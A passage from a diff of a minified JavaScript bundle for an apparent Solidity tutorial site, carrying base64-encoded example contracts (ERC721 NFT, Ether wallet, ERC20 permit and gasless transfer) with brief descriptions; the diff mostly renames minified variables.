baWRdID0gc3BlbmRlcjsKCiAgICAgICAgZW1pdCBBcHByb3ZhbChvd25lciwgc3BlbmRlciwgaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEFwcHJvdmVkKHVpbnQyNTYgaWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdICE9IGFkZHJlc3MoMCksICJ0b2tlbiBkb2Vzbid0IGV4aXN0Iik7CiAgICAgICAgcmV0dXJuIF9hcHByb3ZhbHNbaWRdOwogICAgfQoKICAgIGZ1bmN0aW9uIF9pc0FwcHJvdmVkT3JPd25lcihhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgaWQpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICBzcGVuZGVyID09IG93bmVyIHx8IGlzQXBwcm92ZWRGb3JBbGxbb3duZXJdW3NwZW5kZXJdCiAgICAgICAgICAgICAgICB8fCBzcGVuZGVyID09IF9hcHByb3ZhbHNbaWRdCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IGlkKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoZnJvbSA9PSBfb3duZXJPZltpZF0sICJmcm9tICE9IG93bmVyIik7CiAgICAgICAgcmVxdWlyZSh0byAhPSBhZGRyZXNzKDApLCAidHJhbnNmZXIgdG8gemVybyBhZGRyZXNzIik7CgogICAgICAgIHJlcXVpcmUoX2lzQXBwcm92ZWRPck93bmVyKGZyb20sIG1zZy5zZW5kZXIsIGlkKSwgIm5vdCBhdXRob3JpemVkIik7CgogICAgICAgIF9iYWxhbmNlT2ZbZnJvbV0tLTsKICAgICAgICBfYmFsYW5jZU9mW3RvXSsrOwogICAgICAgIF9vd25lck9mW2lkXSA9IHRvOwoKICAgICAgICBkZWxldGUgX2FwcHJvdmFsc1tpZF07CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiBpZCkgZXh0ZXJuYWwgewogICAgICAgIHRyYW5zZmVyRnJvbShmcm9tLCB0bywgaWQpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0by5jb2RlLmxlbmd0aCA9PSAwCiAgICAgICAgICAgICAgICB8fCBJRVJDNzIxUmVjZWl2ZXIodG8pLm9uRVJDNzIxUmVjZWl2ZWQobXNnLnNlbmRlciwgZnJvbSwgaWQsICIiKQogICAgICAgICAgICAgICAgICAgID09IElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAidW5zYWZlIHJlY2lwaWVudCIKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBmcm9tLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICB0cmFuc2ZlckZyb20oZnJvbSwgdG8sIGlkKTsKCiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgdG8uY29kZS5sZW5ndGggPT0gMAogICAgICAgICAgICAgICAgfHwgSUVSQzcyMVJlY2VpdmVyKHRvKS5vbkVSQzcyMVJlY2VpdmVkKG1zZy5zZW5kZXIsIGZyb20sIGlkLCBkYXRhKQogICAgICAgICAgICAgICAgICAgID09IElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAidW5zYWZlIHJlY2lwaWVudCIKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgdG8sIHVpbnQyNTYgaWQpIGludGVybmFsIHsKICAgICAgICByZXF1aXJlKHRvICE9IGFkZHJlc3MoMCksICJtaW50IHRvIHplcm8gYWRkcmVzcyIpOwogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdID09IGFkZHJlc3MoMCksICJhbHJlYWR5IG1pbnRlZCIpOwoKICAgICAgICBfYmFsYW5jZU9mW3RvXSsrOwogICAgICAgIF9vd25lck9mW2lkXSA9IHRvOwoKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBpZCk7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4odWludDI1NiBpZCkgaW50ZXJuYWwgewogICAgICAgIGFkZHJlc3Mgb3duZXIgPSBfb3duZXJPZltpZF07CiAgICAgICAgcmVxdWlyZShvd25lciAhPSBhZGRyZXNzKDApLCAibm90IG1pbnRlZCIpOwoKICAgICAgICBfYmFsYW5jZU9mW293bmVyXSAtPSAxOwoKICAgICAgICBkZWxldGUgX293bmVyT2ZbaWRdOwogICAgICAgIGRlbGV0ZSBfYXBwcm92YWxzW2lkXTsKCiAgICAgICAgZW1pdCBUcmFuc2Zlcihvd25lciwgYWRkcmVzcygwKSwgaWQpOwogICAgfQp9Cgpjb250cmFjdCBNeU5GVCBpcyBFUkM3MjEgewogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGlkKSBleHRlcm5hbCB7CiAgICAgICAgX21pbnQodG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBidXJuKHVpbnQyNTYgaWQpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gX293bmVyT2ZbaWRdLCAibm90IG93bmVyIik7CiAgICAgICAgX2J1cm4oaWQpOwogICAgfQp9Cg=="}],sA=`

          Example of ERC721

          // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -1635,7 +1635,7 @@ How to swap tokens
         _burn(id);
     }
 }
-
          `,au=({prev:s,next:a})=>r.jsx(u,{version:Oj,title:Pj,description:$j,html:su,prev:s,next:a,codes:qj}),nu="0.8.24",lu="Ether Wallet",pu="Simple example of wallet in Solidity",eu=[{fileName:"EtherWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyV2FsbGV0IHsKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgb3duZXI7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAiY2FsbGVyIGlzIG5vdCBvd25lciIpOwogICAgICAgIHBheWFibGUobXNnLnNlbmRlcikudHJhbnNmZXIoX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],cu=`

          An example of a basic wallet.

          +`,aA=({prev:s,next:a})=>r.jsx(A,{version:Oj,title:Pj,description:$j,html:sA,prev:s,next:a,codes:qj}),nA="0.8.24",lA="Ether Wallet",pA="Simple example of wallet in Solidity",eA=[{fileName:"EtherWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyV2FsbGV0IHsKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgb3duZXI7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAiY2FsbGVyIGlzIG5vdCBvd25lciIpOwogICAgICAgIHBheWFibGUobXNnLnNlbmRlcikudHJhbnNmZXIoX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],cA=`

          An example of a basic wallet.

          • Anyone can send ETH.
          • Only the owner can withdraw.
            • @@ -1661,7 +1661,7 @@ How to swap tokens return address(this).balance; } } -`,tu=({prev:s,next:a})=>r.jsx(u,{version:nu,title:lu,description:pu,html:cu,prev:s,next:a,codes:eu}),ou="0.8.24",ru="Gasless Token Transfer",iu="Gasless ERC20 token transfer with Meta transaction",gu=[{fileName:"ERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IEFHUEwtMy4wLW9ubHkKcHJhZ21hIHNvbGlkaXR5ID49MC44LjA7CgovLy8gQG5vdGljZSBNb2Rlcm4gYW5kIGdhcyBlZmZpY2llbnQgRVJDMjAgKyBFSVAtMjYxMiBpbXBsZW1lbnRhdGlvbi4KLy8vIEBhdXRob3IgU29sbWF0ZSAoaHR0cHM6Ly9naXRodWIuY29tL3RyYW5zbWlzc2lvbnMxMS9zb2xtYXRlL2Jsb2IvbWFpbi9zcmMvdG9rZW5zL0VSQzIwLnNvbCkKLy8vIEBhdXRob3IgTW9kaWZpZWQgZnJvbSBVbmlzd2FwIChodHRwczovL2dpdGh1Yi5jb20vVW5pc3dhcC91bmlzd2FwLXYyLWNvcmUvYmxvYi9tYXN0ZXIvY29udHJhY3RzL1VuaXN3YXBWMkVSQzIwLnNvbCkKLy8vIEBkZXYgRG8gbm90IG1hbnVhbGx5IHNldCBiYWxhbmNlcyB3aXRob3V0IHVwZGF0aW5nIHRvdGFsU3VwcGx5LCBhcyB0aGUgc3VtIG9mIGFsbCB1c2VyIGJhbGFuY2VzIG11c3Qgbm90IGV4Y2VlZCBpdC4KYWJzdHJhY3QgY29udHJhY3QgRVJDMjAgewogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQKICAgICk7CgogICAgc3RyaW5nIHB1YmxpYyBuYW1lOwogICAgc3RyaW5nIHB1YmxpYyBzeW1ib2w7CiAgICB1aW50OCBwdWJsaWMgaW1tdXRhYmxlIGRlY2ltYWxzOwogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VPZjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikpIHB1YmxpYyBhbGxvd2FuY2U7CiAgICB1aW50MjU2IGludGVybmFsIGltbXV0YWJsZSBJTklUSUFMX0NIQUlOX0lEOwogICAgYnl0ZXMzMiBpbnRlcm5hbCBpbW11dGFibGUgSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBub25jZXM7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfbmFtZSwgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpIHsKICAgICAgICBuYW1lID0gX25hbWU7CiAgICAgICAgc3ltYm9sID0gX3N5bWJvbDsKICAgICAgICBkZWNpbWFscyA9IF9kZWNpbWFsczsKICAgICAgICBJTklUSUFMX0NIQUlOX0lEID0gYmxvY2suY2hhaW5pZDsKICAgICAgICBJTklUSUFMX0RPTUFJTl9TRVBBUkFUT1IgPSBjb21wdXRlRG9tYWluU2VwYXJhdG9yKCk7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGFsbG93YW5jZVttc2cuc2VuZGVyXVtzcGVuZGVyXSA9IGFtb3VudDsKICAgICAgICBlbWl0IEFwcHJvdmFsKG1zZy5zZW5kZXIsIHNwZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKG1zZy5zZW5kZXIsIHRvLCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIGZyb20sIGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIHVpbnQyNTYgYWxsb3dlZCA9IGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXTsgLy8gU2F2ZXMgZ2FzIGZvciBsaW1pdGVkIGFwcHJvdmFscy4KICAgICAgICBpZiAoYWxsb3dlZCAhPSB0eXBlKHVpbnQyNTYpLm1heCkgewogICAgICAgICAgICBhbGxvd2FuY2VbZnJvbV1bbXNnLnNlbmRlcl0gPSBhbGxvd2VkIC0gYW1vdW50OwogICAgICAgIH0KICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwoKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gcGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgdWludDI1NiBkZWFkbGluZSwKICAgICAgICB1aW50OCB2LAogICAgICAgIGJ5dGVzMzIgciwKICAgICAgICBieXRlczMyIHMKICAgICkgcHVibGljIHZpcnR1YWwgewogICAgICAgIHJlcXVpcmUoZGVhZGxpbmUgPj0gYmxvY2sudGltZXN0YW1wLCAiUEVSTUlUX0RFQURMSU5FX0VYUElSRUQiKTsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYWRkcmVzcyByZWNvdmVyZWRBZGRyZXNzID0gZWNyZWNvdmVyKAogICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoCiAgICAgICAgICAgICAgICAgICAgICAgICJceDE5XHgwMSIsCiAgICAgICAgICAgICAgICAgICAgICAgIERPTUFJTl9TRVBBUkFUT1IoKSwKICAgICAgICAgICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJQZXJtaXQoYWRkcmVzcyBvd25lcixhZGRyZXNzIHNwZW5kZXIsdWludDI1NiB2YWx1ZSx1aW50MjU2IG5vbmNlLHVpbnQyNTYgZGVhZGxpbmUpIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3duZXIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3BlbmRlciwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBub25jZXNbb3duZXJdKyssCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVhZGxpbmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICB2LAogICAgICAgICAgICAgICAgciwKICAgICAgICAgICAgICAgIHMKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgICAgICByZWNvdmVyZWRBZGRyZXNzICE9IGFkZHJlc3MoMCkgJiYgcmVjb3ZlcmVkQWRkcmVzcyA9PSBvd25lciwKICAgICAgICAgICAgICAgICJJTlZBTElEX1NJR05FUiIKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIGFsbG93YW5jZVtyZWNvdmVyZWRBZGRyZXNzXVtzcGVuZGVyXSA9IHZhbHVlOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBBcHByb3ZhbChvd25lciwgc3BlbmRlciwgdmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIERPTUFJTl9TRVBBUkFUT1IoKSBwdWJsaWMgdmlldyB2aXJ0dWFsIHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4gYmxvY2suY2hhaW5pZCA9PSBJTklUSUFMX0NIQUlOX0lECiAgICAgICAgICAgID8gSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SCiAgICAgICAgICAgIDogY29tcHV0ZURvbWFpblNlcGFyYXRvcigpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbXB1dGVEb21haW5TZXBhcmF0b3IoKSBpbnRlcm5hbCB2aWV3IHZpcnR1YWwgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoCiAgICAgICAgICAgIGFiaS5lbmNvZGUoCiAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgIkVJUDcxMkRvbWFpbihzdHJpbmcgbmFtZSxzdHJpbmcgdmVyc2lvbix1aW50MjU2IGNoYWluSWQsYWRkcmVzcyB2ZXJpZnlpbmdDb250cmFjdCkiCiAgICAgICAgICAgICAgICApLAogICAgICAgICAgICAgICAga2VjY2FrMjU2KGJ5dGVzKG5hbWUpKSwKICAgICAgICAgICAgICAgIGtlY2NhazI1NigiMSIpLAogICAgICAgICAgICAgICAgYmxvY2suY2hhaW5pZCwKICAgICAgICAgICAgICAgIGFkZHJlc3ModGhpcykKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CgogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgYWRkcmVzcygwKSwgYW1vdW50KTsKICAgIH0KfQoKY29udHJhY3QgRVJDMjBQZXJtaXQgaXMgRVJDMjAgewogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfbmFtZSwgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpCiAgICAgICAgRVJDMjAoX25hbWUsIF9zeW1ib2wsIF9kZWNpbWFscykKICAgIHt9CgogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgcHVibGljIHsKICAgICAgICBfbWludCh0bywgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"GaslessTokenTransfer.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjBQZXJtaXQgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gcGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgdWludDI1NiBkZWFkbGluZSwKICAgICAgICB1aW50OCB2LAogICAgICAgIGJ5dGVzMzIgciwKICAgICAgICBieXRlczMyIHMKICAgICkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEdhc2xlc3NUb2tlblRyYW5zZmVyIHsKICAgIGZ1bmN0aW9uIHNlbmQoCiAgICAgICAgYWRkcmVzcyB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2VpdmVyLAogICAgICAgIHVpbnQyNTYgYW1vdW50LAogICAgICAgIHVpbnQyNTYgZmVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgLy8gUGVybWl0IHNpZ25hdHVyZQogICAgICAgIHVpbnQ4IHYsCiAgICAgICAgYnl0ZXMzMiByLAogICAgICAgIGJ5dGVzMzIgcwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gUGVybWl0CiAgICAgICAgSUVSQzIwUGVybWl0KHRva2VuKS5wZXJtaXQoCiAgICAgICAgICAgIHNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50ICsgZmVlLCBkZWFkbGluZSwgdiwgciwgcwogICAgICAgICk7CiAgICAgICAgLy8gU2VuZCBhbW91bnQgdG8gcmVjZWl2ZXIKICAgICAgICBJRVJDMjBQZXJtaXQodG9rZW4pLnRyYW5zZmVyRnJvbShzZW5kZXIsIHJlY2VpdmVyLCBhbW91bnQpOwogICAgICAgIC8vIFRha2UgZmVlIC0gc2VuZCBmZWUgdG8gbXNnLnNlbmRlcgogICAgICAgIElFUkMyMFBlcm1pdCh0b2tlbikudHJhbnNmZXJGcm9tKHNlbmRlciwgbXNnLnNlbmRlciwgZmVlKTsKICAgIH0KfQo="}],hu=`

            Gasless ERC20 token transfer with Meta transaction

            +`,tA=({prev:s,next:a})=>r.jsx(A,{version:nA,title:lA,description:pA,html:cA,prev:s,next:a,codes:eA}),oA="0.8.24",rA="Gasless Token Transfer",iA="Gasless ERC20 token transfer with Meta transaction",gA=[{fileName:"ERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IEFHUEwtMy4wLW9ubHkKcHJhZ21hIHNvbGlkaXR5ID49MC44LjA7CgovLy8gQG5vdGljZSBNb2Rlcm4gYW5kIGdhcyBlZmZpY2llbnQgRVJDMjAgKyBFSVAtMjYxMiBpbXBsZW1lbnRhdGlvbi4KLy8vIEBhdXRob3IgU29sbWF0ZSAoaHR0cHM6Ly9naXRodWIuY29tL3RyYW5zbWlzc2lvbnMxMS9zb2xtYXRlL2Jsb2IvbWFpbi9zcmMvdG9rZW5zL0VSQzIwLnNvbCkKLy8vIEBhdXRob3IgTW9kaWZpZWQgZnJvbSBVbmlzd2FwIChodHRwczovL2dpdGh1Yi5jb20vVW5pc3dhcC91bmlzd2FwLXYyLWNvcmUvYmxvYi9tYXN0ZXIvY29udHJhY3RzL1VuaXN3YXBWMkVSQzIwLnNvbCkKLy8vIEBkZXYgRG8gbm90IG1hbnVhbGx5IHNldCBiYWxhbmNlcyB3aXRob3V0IHVwZGF0aW5nIHRvdGFsU3VwcGx5LCBhcyB0aGUgc3VtIG9mIGFsbCB1c2VyIGJhbGFuY2VzIG11c3Qgbm90IGV4Y2VlZCBpdC4KYWJzdHJhY3QgY29udHJhY3QgRVJDMjAgewogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQKICAgICk7CgogICAgc3RyaW5nIHB1YmxpYyBuYW1lOwogICAgc3RyaW5nIHB1YmxpYyBzeW1ib2w7CiAgICB1aW50OCBwdWJsaWMgaW1tdXRhYmxlIGRlY2ltYWxzOwogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VPZjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikpIHB1YmxpYyBhbGxvd2FuY2U7CiAgICB1aW50MjU2IGludGVybmFsIGltbXV0YWJsZSBJTklUSUFMX0NIQUlOX0lEOwogICAgYnl0ZXMzMiBpbnRlcm5hbCBpbW11dGFibGUgSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBub25jZXM7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfbmFtZSwgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpIHsKICAgICAgICBuYW1lID0gX25hbWU7CiAgICAgICAgc3ltYm9sID0gX3N5bWJvbDsKICAgICAgICBkZWNpbWFscyA9IF9kZWNpbWFsczsKICAgICAgICBJTklUSUFMX0NIQUlOX0lEID0gYmxvY2suY2hhaW5pZDsKICAgICAgICBJTklUSUFMX0RPTUFJTl9TRVBBUkFUT1IgPSBjb21wdXRlRG9tYWluU2VwYXJhdG9yKCk7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGFsbG93YW5jZVttc2cuc2VuZGVyXVtzcGVuZGVyXSA9IGFtb3VudDsKICAgICAgICBlbWl0IEFwcHJvdmFsKG1zZy5zZW5kZXIsIHNwZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAg